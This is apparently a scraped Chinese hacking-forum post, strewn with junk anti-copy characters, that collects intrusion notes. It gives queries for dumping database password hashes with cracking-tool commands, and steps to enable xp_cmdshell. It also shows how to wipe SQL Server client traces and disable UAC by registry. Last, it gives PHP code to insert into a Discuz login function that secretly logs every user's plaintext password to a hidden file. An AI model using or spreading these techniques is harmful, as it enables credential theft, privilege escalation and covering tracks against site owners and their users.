" t1 Q+ _0 l# C( ?* O3 C; R1 N;antian365.asp;antian365.jpg
4 U7 o5 {1 N0 U- K3 W4 i' {- F2 R! `/ s8 q
各种类型数据库抓HASH破解最高权限密码!, `; Q* M* l0 ]' S L
1.sql server20001 e3 R0 G* }% A% a8 w i: @ s F
SELECT password from master.dbo.sysxlogins where name='sa' Y/ H8 G2 p/ C9 R9 m
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503415 M0 p" P9 j# @ N }- u
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
& B& V# A- X4 K. z: B$ d2 W$ D. k% S: [
0×0100- constant header
w5 G0 H) Z! N) T( k a) p2 B) [34767D5C- salt2 G# ^% y/ l. a: f7 B
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
+ P4 j5 }9 x( U8 g+ R2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
: S! _8 J* ~. C1 ]crack the upper case hash in ‘cain and abel’ and then work the case sentive hash7 t7 ]- t) Q, N/ R
SQL server 2005:-
5 E; q. C3 \$ Q5 Q% Z6 KSELECT password_hash FROM sys.sql_logins where name='sa'
) p# u/ O, O7 u# k0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
# P! l. d# m; l! v0×0100- constant header
- n7 n' t4 L+ V" d2 t2 T1 S! o993BF231-salt `9 y8 y! y* g h, H F ?
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash# ?: w% N% _* f$ R
crack case sensitive hash in cain, try brute force and dictionary based attacks.
, I R4 k0 T/ v. N! o
( }; T! r( [9 ]$ S) Eupdate:- following bernardo’s comments:-2 b. A6 I, T9 A2 n% T( B) z
use function fn_varbintohexstr() to cast password in a hex string.* l+ Z; ]3 c& A. Q. k. g$ Y
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
( R0 m/ F7 X8 _7 v) D# @8 `* {# Z' m1 E
MYSQL:-
1 Q0 A* p: r% }9 d+ L
* H# t1 y6 k* Z& ~; XIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.: G! p. ?% `' t$ z8 q& T ]# Z
1 {) o3 j n% K; K2 @
*mysql < 4.1
, N* Q: \% A6 Z. e, e3 L7 S5 [: E
4 Q2 z+ N# x: amysql> SELECT PASSWORD(‘mypass’);
+ l G8 z" o: h# ]3 J+——————–+7 e# \4 x h9 Y
| PASSWORD(‘mypass’) |
4 C: D* ]* ~" {7 t& c5 Y! o2 E0 v+——————–+
0 o& c7 L6 D8 |+ Y* c| 6f8c114b58f2ce9e |
( Z, i8 E7 U2 d8 B* x+——————–+: t' N2 f4 ]8 V$ r7 A+ \
9 j4 n7 R; g e' C( K* ?9 S# F*mysql >=4.1
8 C6 f' y. G: X7 E5 t' U s
% }: ]/ t/ w+ x0 _% {& jmysql> SELECT PASSWORD(‘mypass’);3 n- V; c+ q5 w o# ?9 \1 c
+——————————————-+
8 r0 F4 n' O# P| PASSWORD(‘mypass’) |( K- b) F! f$ l
+——————————————-+3 P+ }- q E* E" |4 }6 @
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |: E- a" [: I8 V3 K$ C
+——————————————-+) e) ?3 f" i, D
$ o! I' I6 _! u! \' ySelect user, password from mysql.user! o0 Q: x7 q9 K5 n0 F2 ?
The hashes can be cracked in ‘cain and abel’9 ~2 { g b2 u
% _8 _! u/ z Z( ~! L1 v. K, v3 |
Postgres:-6 Y3 ~! @! ^2 P' ^- ~
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)4 @3 c; k2 `1 ?( e! o/ C6 {7 q
select usename, passwd from pg_shadow;
1 o' j3 d5 ^; Z- eusename | passwd) Y+ X3 u3 k4 I- s1 v, n
——————+————————————-; a! o% R. ^% S, _! x& j, O0 y9 D
testuser | md5fabb6d7172aadfda4753bf0507ed43963 f2 j' B" v4 y/ S* K. D
use mdcrack to crack these hashes:-
6 P, w, k i+ v- K" `4 @$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
1 o+ S: H1 k: S4 f- A0 G _/ J; ~6 K( |- J
Oracle:-
4 M6 a( }7 A# r3 \$ Mselect name, password, spare4 from sys.user$% m# U- F+ @' G: f# m
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g8 e& J' ~# ?7 i
More on Oracle later, i am a bit bored….
9 N8 I( u: o5 Z8 m% T- {# \
: D$ ]. g; \+ ^' t( ^. Q% N5 a. L4 @1 u& d* F% c/ N, j9 v
在sql server2005/2008中开启xp_cmdshell
- k7 L/ w/ n0 C% i9 D& S" [- ^-- To allow advanced options to be changed.
2 z1 Y; K0 C0 _EXEC sp_configure 'show advanced options', 1! x0 F7 H5 t2 U: f
GO- m( C8 d% v) R5 D6 R4 j
-- To update the currently configured value for advanced options.
! Q5 [% K4 Q4 [& C3 }) tRECONFIGURE
6 a% | ]% D. i9 G. ]+ fGO: D. }; w8 {# Z, {7 d
-- To enable the feature.. F+ p* b: ~) O& S
EXEC sp_configure 'xp_cmdshell', 1. m8 ?1 E" l7 I5 q" K2 I6 I
GO- C: K& y% q- X; h
-- To update the currently configured value for this feature.2 k9 S# r# p4 Y- U& x: P* ]
RECONFIGURE
- ` U* k0 F4 b; Q& c5 p& m$ \GO
. Q" a: O5 _9 `/ oSQL 2008 server日志清除,在清楚前一定要备份。5 s* x0 R. X" v% u8 Y* ]4 i$ ?
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
' ~; v4 g9 z/ }X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
' M0 t! H' x! }9 E5 `
8 z/ c9 ~* I6 a: J3 H0 T5 a. v对于SQL Server 2008以前的版本:
9 y/ ?2 t: S5 {SQL Server 2005:' v8 M& r: E0 P$ D
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat4 [3 T" H, _) D) u V
SQL Server 2000:% l' B1 p9 A4 L, {3 O
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。( f3 w: f. I' b4 h/ k$ o$ V+ d
& t4 }) {* c2 m( `. Z
本帖最后由 simeon 于 2013-1-3 09:51 编辑
; \6 S, E. ]; u
' L7 R: H6 `) Y( |6 S; |! x {0 {( l
windows 2008 文件权限修改- h9 w1 o4 r8 p0 q
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx0 h4 d2 B+ K1 K( l
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98% k7 s+ P' U* ?3 L* ?( L
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
6 ^/ Y5 k. J- }) s. N
. H' w5 |+ f9 G! [8 s3 ]- w `Windows Registry Editor Version 5.00
# k( n( r) U& F3 u[HKEY_CLASSES_ROOT\*\shell\runas]9 Q; j" e" r( B6 ?6 p! J! M. Q. q
@="管理员取得所有权"8 R- j- O6 [. J: Y
"NoWorkingDirectory"=""" r$ Q: P. L" r6 }$ ]4 p; D0 F r
[HKEY_CLASSES_ROOT\*\shell\runas\command]$ g0 M* H/ ~) S: i- C
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"6 U' B( H% R4 [4 C& i" y+ _1 G7 o
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F") v" p$ t$ n C) h' w
[HKEY_CLASSES_ROOT\exefile\shell\runas2]) ]8 x) w6 g$ C9 G5 L8 d/ ]# t
@="管理员取得所有权"6 z8 J; |8 |) g5 c
"NoWorkingDirectory"=""0 L# F& ]9 t4 J! E: ~( J
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
+ c. x) v/ H& d' t. V: m2 Y@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
! ?6 A4 ?' {; C# s) U"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
( X9 _: Z5 I$ M7 Z: l: F3 Z; |5 t, N
[HKEY_CLASSES_ROOT\Directory\shell\runas]; o( W9 B6 I+ L3 C
@="管理员取得所有权"+ N$ H5 l0 ]4 E) i" P, G3 b
"NoWorkingDirectory"=""
+ Q8 v5 n. R7 |( D[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
. \' p6 N2 T d@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
# z" K. V: p6 I2 I- |0 L' |"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
2 f) c# u/ x1 O- w: s n
9 I0 @& i* G& B0 d, V c% h2 l* \0 U
win7右键“管理员取得所有权”.reg导入6 C0 B6 F( d T: `: j
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,7 |; v- J z- d- {
1、C:\Windows这个路径的“notepad.exe”不需要替换
9 \* s7 ~# h( K: B! ]2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
# Y- ]* O" z0 M$ j. n2 j3、四个“notepad.exe.mui”不要管
- Q, X; U* ^& o2 g( s4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和
4 l. E0 R3 k [C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”' P7 b" {) f [; L& i
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,# ~ N( y+ i2 I+ @, ?! ^
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
3 s O* N+ Z1 Kwindows 2008中关闭安全策略:
. F( W4 k# V4 ]8 {. g- |reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f/ {4 u) W T u0 n! p& B2 W- W8 U
修改uc_client目录下的client.php 在( b; ]1 u. I& i' q
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
) V2 o; b/ t( x8 c' r% @ r! ^下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
1 @- c1 F) o: x6 o$ ~' U8 n+ I你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
* c% n4 @& h/ w8 iif(getenv('HTTP_CLIENT_IP')) {: {% r2 _( N t7 t
$onlineip = getenv('HTTP_CLIENT_IP');
; |5 J* P7 d! C8 }7 G} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
5 u l9 J2 a+ |: w! z& _$onlineip = getenv('HTTP_X_FORWARDED_FOR');
- I; N# Q- s5 {! B/ O} elseif(getenv('REMOTE_ADDR')) {
7 f1 p! M; Q+ D* D$onlineip = getenv('REMOTE_ADDR');
8 u2 v1 l8 q9 s: b- g. \} else {
/ o3 u1 l# B$ W$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];- m' X% q" a% A9 H( F# M6 E
}
7 Z9 v5 b& X, n2 j, g) Y) i! X9 J $showtime=date("Y-m-d H:i:s");% |! A9 E5 x! Z0 E, l% R
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";. b+ r- x; _: i; o0 B' O
$handle=fopen('./data/cache/csslog.php','a+');2 W0 }, Z z v; I
$write=fwrite($handle,$record); |